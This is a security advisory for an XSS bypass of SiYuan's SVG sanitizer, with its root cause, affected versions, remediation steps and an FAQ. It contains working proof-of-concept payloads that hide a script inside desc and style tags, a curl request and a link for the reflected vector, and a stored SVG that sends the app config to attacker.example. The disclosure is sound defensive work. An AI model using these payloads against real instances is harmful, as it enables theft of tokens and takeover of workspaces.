GHSA-99rq-75j6-5j9f: XSS

Published Sep 3, 2026
·
Updated

Summary SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.

The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.

The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:

Reflected, through a single link: GET /api/icon/getDynamicIcon Stored, through a planted .svg asset: GET /assets/<name>.svg

I confirmed this on a live SiYuan 3.7.2 kernel.

Root cause

util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.

The gap comes from HTML parsing rules that do not exist in XML:

<desc> and <title> are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops <foreignObject> but keeps <desc> and <title>. Inside HTML mode, <style>, <xmp> and <noscript> are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a <script> placed inside them, and the render step writes it back exactly as it was. When the browser reads the same bytes as XML (SVG), there is no raw text rule. <style> becomes a normal container and the hidden <script> becomes a real, working SVG script node.

I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:

IN : <svg><script>alert(1)</script></svg> OUT: <svg></svg> (removed)

IN : <svg><desc><style><script>alert(1)</script></style></desc></svg> OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg> (kept, runs)

Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:

kernel/server/serve.go:703 serveSVG serves an asset inline as image/svg+xml. kernel/api/icon.go:158 getDynamicIcon. For type=8 the content query value is put straight into the SVG template at icon.go:583 with no escaping, then cleaned, then served as image/svg+xml.

Attack vector 1: reflected (one link)

The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.

curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'

The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:

xml <text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>

Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:

http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E

Attack vector 2: stored (planted asset)

Place this file as data/assets/evil.svg:

xml <svg xmlns="http://www.w3.org/2000/svg"><desc><style><script> fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text()) .then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)}); </script></style></desc></svg>

Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.

Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.

Impact

A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model. Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover. The default AllowSVGScript=false exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.

Suggested fix

Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop <desc>, <title> and <foreignObject> and any raw text smuggled markup. Serve user SVG with Content-Disposition: attachment and a non running content type, and add a strict script-src CSP on /assets/ and /api/icon/getDynamicIcon. Escape the reflected content value in getDynamicIcon before it goes into the template.

Affected Software

1 affected componentFixes available
go/github.com/siyuan-note/siyuan/kernel<0.0.0-20260714095344-f08dee71ba8e
0.0.0-20260714095344-f08dee71ba8e

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/siyuan-note/siyuan/kernel to a version that resolves this vulnerability.

    Fixed in 0.0.0-20260714095344-f08dee71ba8e
  2. Configuration

    Ensure the guard setting `Editor.AllowSVGScript` remains disabled (`false`) so SVG scripts are removed by the SVG sanitizer instead of preserved/bypassed.

    SiYuan Editor.AllowSVGScript = false
  3. Configuration

    Change the sanitizer behavior so user-supplied SVG is cleaned as XML (not HTML parse + re-render). This closes the cleaner gap where HTML parsing rules allow `<desc><style><script>...</script></style></desc>` to survive while XML/SVG interpretation runs the script.

    SiYuan SVG sanitizer (util.SanitizeSVG) SanitizeSVG parsing/rendering mode = XML parsing
  4. Configuration

    Update the sanitizer’s policy to remove `<desc>`, `<title>`, and `<foreignObject>` (and any raw-text smuggled markup) because these tags are identified as HTML integration points that let scripts survive the cleaner.

    SiYuan SVG sanitizer (util.SanitizeSVG) SVG element allowlist = Drop: <desc>, <title>, <foreignObject> (and any smuggled raw-text markup)
  5. Configuration

    Serve user SVG assets with `Content-Disposition: attachment` so the browser downloads them rather than directly rendering them as `image/svg+xml` in the app origin.

    SiYuan SVG serving (kernel/server/serve.go:703 serveSVG) Content-Disposition for user SVG = attachment
  6. Configuration

    Add a strict Content Security Policy with a restrictive `script-src` for the `/assets/*` paths and for `/api/icon/getDynamicIcon` to prevent execution of any injected `<script>` when SVG is loaded.

    SiYuan CSP script-src (for /assets/* and /api/icon/getDynamicIcon) = strict

Event History

Sep 3, 2026
Advisory Published
via GitHub·02:53 PM
Data Sourced
via GitHub·02:53 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed by default?

The vulnerable SVG sanitization path is used even though Editor.AllowSVGScript is off by default; that setting is intended to block SVG scripts but can be bypassed. Any deployment that serves attacker-controlled SVG content inline as image/svg+xml through the affected endpoints is exposed.

2

What does an attacker need to exploit this?

For the reflected path, an attacker needs to get a victim to open a single link to GET /api/icon/getDynamicIcon. For the stored path, the attacker needs to plant a crafted .svg asset that is later opened through GET /assets/<name>.svg; browser interaction is required in both cases.

3

What is the impact when exploitation succeeds?

The embedded script executes in the SiYuan application origin. The advisory rates the issue high with high confidentiality and integrity impact and changed scope.

4

How can I determine whether an instance needs remediation?

The issue was confirmed on a live SiYuan 3.7.2 kernel, and a fix is identified in the v3.7.3 release. Instances using the SiYuan kernel should be compared against the fixed release or commit f08dee71ba8e087a395d74f121de11e6a997ef14.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203